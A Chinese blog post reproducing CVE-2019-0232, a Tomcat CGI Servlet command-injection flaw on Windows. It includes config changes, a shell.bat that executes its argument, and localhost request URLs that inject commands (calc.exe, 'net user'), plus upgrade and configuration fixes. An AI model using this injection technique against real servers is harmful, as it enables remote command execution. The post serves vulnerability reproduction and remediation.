美文网首页技术篇
Apache Tomcat CVE-2019-0232 远程代码

Apache Tomcat CVE-2019-0232 远程代码

作者: 捡垃圾的小弟弟 | 来源:发表于2019-06-23 22:36 被阅读150次

    2019年4月10日,Apache Tomcat报告了一个漏洞称在windows上运行的Apache Tomcat存在远程代码执行漏洞,漏洞编号为CVE-2019-0232。在Windows平台,远程攻击者向CGI Servlet发送一个精心设计的请求,在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的。


    影响范围

    Apache Tomcat 9.0.0.M1 to 9.0.17

    Apache Tomcat 8.5.0 to 8.5.39

    Apache Tomcat 7.0.0 to 7.0.93

    漏洞复现

    复现环境

    本次漏洞复现使用XAMPP 3.2.2集成环境。
    Tomcat : 7.0.56
    Java: 1.8.0_121


    0X00修改配置文件

    修改web.xml

    <servlet>
            <servlet-name>cgi</servlet-name>
            <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
            <init-param>
              <param-name>debug</param-name>
              <param-value>0</param-value>
            </init-param>
            <init-param>
              <param-name>cgiPathPrefix</param-name>
              <param-value>WEB-INF/cgi-bin</param-value>
            </init-param>
            <init-param>
              <param-name>executable</param-name>
              <param-value></param-value>
            </init-param>
             <load-on-startup>5</load-on-startup>
    </servlet> 
    
    <!-- The mapping for the CGI Gateway servlet -->
    
        <servlet-mapping>
            <servlet-name>cgi</servlet-name>
            <url-pattern>/cgi-bin/*</url-pattern>
        </servlet-mapping>
    

    修改content.xml

    <Context privileged="true">
    
        <!-- Default set of monitored resources. If one of these changes, the    -->
        <!-- web application will be reloaded.                                   -->
        <WatchedResource>WEB-INF/web.xml</WatchedResource>
        <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
    
        <!-- Uncomment this to disable session persistence across Tomcat restarts -->
        <!--
        <Manager pathname="" />
        -->
    </Context>
    

    在/webapps/ROOT/WEB-INF下创建cgi-bin文件夹,并创建shell.bat文件。



    shell.bat文件内容如下,并启动tomcat。

    @echo off
    eco Content-Type: text/plain
    echo.
    set foo=%~1
    %foo%
    

    访问测试

    http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\calc.exe
    http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\net.exe user
    
    

    修复措施

    一、受影响的用户应该升级到以下版本:

    Apache Tomcat 9.0.18或更高版本
    Apache Tomcat 8.5.40或更高版本
    Apache Tomcat 7.0.93或更高版本
    

    二、临时解决方案
    在web.xml文件中将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。


    相关文章

      网友评论

        本文标题:Apache Tomcat CVE-2019-0232 远程代码

        本文链接:https://www.haomeiwen.com/subject/rdnwqctx.html